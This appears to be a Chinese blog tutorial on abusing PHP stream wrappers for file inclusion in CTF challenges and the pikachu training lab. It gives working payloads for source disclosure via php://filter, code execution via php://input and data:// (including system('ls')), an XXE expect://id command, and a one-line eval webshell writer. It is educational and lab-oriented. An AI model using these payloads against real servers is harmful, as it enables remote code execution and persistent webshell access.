【PHP安全】PHP伪协议

PHP伪协议:

  • file:// #访问本地文件系统
  • http:// #访问HTTPs网址
  • ftp:// #访问ftp URL
  • php:// #访问输入输出流
  • zlib:// #压缩流
  • data:// #数据(RFC 2397)
  • ssh2:// #security shell2
  • expect:// #处理交互式的流
  • glob:// #查找匹配的文件路径
  • phar:// #PHP 归档
  • rar:// #RAR
  • ogg:// #音频流

配置文件PHP.ini中关键参数:

  • allow_url_fopen:是否允许打开远程文件
  • allow_url_include:是否允许 include/require 远程文件

php://

在CTF中经常用到的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter

读取文件(必须使用base64编码读取出来源码,明文会被php解析执行,无法看到源码):

bash 复制代码
filename=php://filter/read=convert.base64-encode/resource=../../index.php


filename=../../index.php

会直接当成php文件解析

php://input

使用条件:

allow_url_include:on

代码执行:

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
也可以写入一句话木马:
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据
使用条件:

  • allow_url_fopen :on
  • allow_url_include:on

代码执行:

bash 复制代码
filename=data://text/plain,<?php phpinfo();?>
bash 复制代码
filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
bash 复制代码
filename=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

补充:
在phpinfo中需要关注的敏感信息:

  1. 绝对路径
    包含环境变量 _SERVER\['PATH'\] 文件根目录 _SERVER['DOCUMENT_ROOT'] 等信息
  2. 支持的程序
    可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,是否支持gopher、是否开启了fastcgi
  3. 查看真实IP
    $_SERVER['SERVER_ADDR'] 或SERVER_ADDR
    绕开 cdn 获取 C 段资产,旁站等重要信息
  4. 查看敏感配置
    allow_url_include:远程文件包含
    allow_url_fopen:远程文件读取
    disable_functions:禁用的函数名
    open_basedir:可将用户访问文件的活动范围限制在指定的区域
    short_open_tag:允许<??>这种形式,并且<?=等价于<? echo
  5. 配置文件位置
    读取配置文件内容,获取信息
    Loaded Configuration File

file://

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

任意文件读取:

bash 复制代码
filename=file:///C://windows/win.ini

zip://

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件

当zip:// 与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径,且要用#(#要用url编码%23)分隔压缩包和压缩包里的内容

只需要是zip的压缩包即可,后缀名可以为任意格式。

bash 复制代码
filename=zip://D:/phpstudy_pro/phpinfo.zip%23phpinfo.txt

zlib://

代码执行:
filename=compress.zlib://D:\phpstudy_pro\phpinfo.gz

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

代码执行:

bash 复制代码
filename=phar://D:\phpstudy_pro\phpinfo.zip/phpinfo.txt

expact://

XXE漏洞命令执行:

xml 复制代码
<?xml version="1.0"?>  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id" > ]>  <foo>&xxe;</foo>

http:// & https:// 协议

允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

代码执行:

bash 复制代码
filename=http://127.0.0.1:8088/phpinfo.txt

安全配置小建议:

以上测试使用的是pikachu靶场,建议在使用时更改配置

更改为Allow from 127.0.0.1

这样和陌生人在同一局域网中时就不怕因为pikachu靶场被远控主机了

相关推荐
笑非不退3 分钟前
C# c++ 实现程序开机自启动
开发语言·c++·c#
专注于大数据技术栈6 分钟前
java学习--final
java·开发语言·学习
gihigo199812 分钟前
基于MATLAB的IEEE 14节点系统牛顿-拉夫逊潮流算法实现
开发语言·算法·matlab
合作小小程序员小小店26 分钟前
游戏开发,桌面%小游戏,贪吃蛇%demo,基于vs2022,c语言,easyX,无数据库
c语言·开发语言
白帽子黑客杰哥1 小时前
2025漏洞挖掘系统学习:从环境搭建到实战挖洞全流程
web安全·渗透测试·漏洞挖掘·网络安全就业
x***J3481 小时前
Python多线程爬虫
开发语言·爬虫·python
m***D2861 小时前
Python网络爬虫实战案例
开发语言·爬虫·python
_Stellar1 小时前
Linux 服务器管理 根目录文件夹权限设置 基于用户组实现安全共享
linux·服务器·安全
立控信息LKONE1 小时前
库室采购安全设施设备——自主研发、国产化监管一体机
大数据·安全
保持低旋律节奏1 小时前
C++——C++11特性
开发语言·c++·windows